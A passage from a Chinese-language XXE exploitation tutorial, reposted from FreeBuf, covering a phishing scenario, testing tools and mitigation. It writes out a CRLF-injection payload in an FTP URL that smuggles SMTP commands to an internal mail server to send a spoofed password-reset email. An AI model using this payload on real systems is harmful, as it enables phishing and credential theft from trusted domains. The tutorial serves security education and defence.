XXE漏洞利用技巧:從XML到遠程代碼執行

XML is the best! &xxe; &xxe; &xxe; &xxe;

場景4 – 釣魚

我們使用Java的XML解析器找到了一個易受攻擊的端點。掃描內部端口後,我們發現了一個偵聽在25端口的SMTP服務,Java支持在sun.net.ftp.impl.FtpClient中的ftp URI。因此,我們可以指定用戶名和密碼,例如ftp://user:password@host:port/test.txt,FTP客戶端將在連接中發送相應的USER命令。

但是如果我們將%0D%0A (CRLF)添加到URL的user部分的任意位置,我們就可以終止USER命令並向FTP會話中注入一個新的命令,即允許我們向25端口發送任意的SMTP命令:

ftp://a%0D%0A EHLO%20a%0D%0A MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0A RCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0A DATA%0D%0A From%3A%20support%40VULNERABLESYSTEM.com%0A To%3A%20victim%40gmail.com%0A Subject%3A%20test%0A %0A test!%0A %0D%0A .%0D%0A QUIT%0D%0A :[email protected]:25

當FTP客戶端使用此URL連接時,以下命令將會被髮送給VULNERABLESYSTEM.com上的郵件服務器:

ftp://aEHLO a MAIL FROM: RCPT TO: DATAFrom: [email protected]: [email protected]: Reset your password We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com. QUIT :[email protected]:25

這意味著攻擊者可以從從受信任的來源發送釣魚郵件(例如:帳戶重置鏈接)並繞過垃圾郵件過濾器的檢測。除了鏈接之外,甚至我們也可以發送附件。

實用工具

▲▲▲

能手動編輯web請求對於XXE攻擊至關重要,這裡我推薦大家使用BurpSuite。BurpSuite的掃描功能可以為我們檢測潛在的XXE漏洞,其次burp的Intruder功能非常適合用於端口探測。但要提醒的是工具只是我們的輔助,在某些情況下手動測試可能效果更好!

HTTP請求分析工具像RequestBin 和 HookBin 都非常適合OOB XXE的測試。此外,BurpSuite Pro的Collaborator也是個不錯的選擇,但一些安全研究人員他們更喜歡使用他們自己的VPS。

緩解措施

▲▲▲

上面討論的主要問題就是XML解析器解析了用戶發送的不可信數據。然而,要去校驗DTD(document type definition)中SYSTEM標識符定義的數據,並不容易,也不大可能。大部分的XML解析器默認對於XXE攻擊是脆弱的。因此,最好的解決辦法就是配置XML處理器去使用本地靜態的DTD,不允許XML中含有任何自己聲明的DTD。

XXE漏洞利用技巧:從XML到遠程代碼執行

參考

1.https://blog.zsec.uk/blind-xxe-learning/

2.https://www.acunetix.com/blog/articles/xml-external-entity-xxe-limitations/

3.https://depthsecurity.com/blog/exploitation-xml-external-entity-xxe-injection

4.https://mikeknoop.com/lxml-xxe-exploit/

XXE Cheatsheet

1.https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injections

2.https://www.gracefulsecurity.com/xxe-cheatsheet/

3.https://gist.github.com/abdilahrf/63ea0a21dc31010c9c8620425e212e30

本文轉自:FreeBuf.COM


分享到:


相關文章: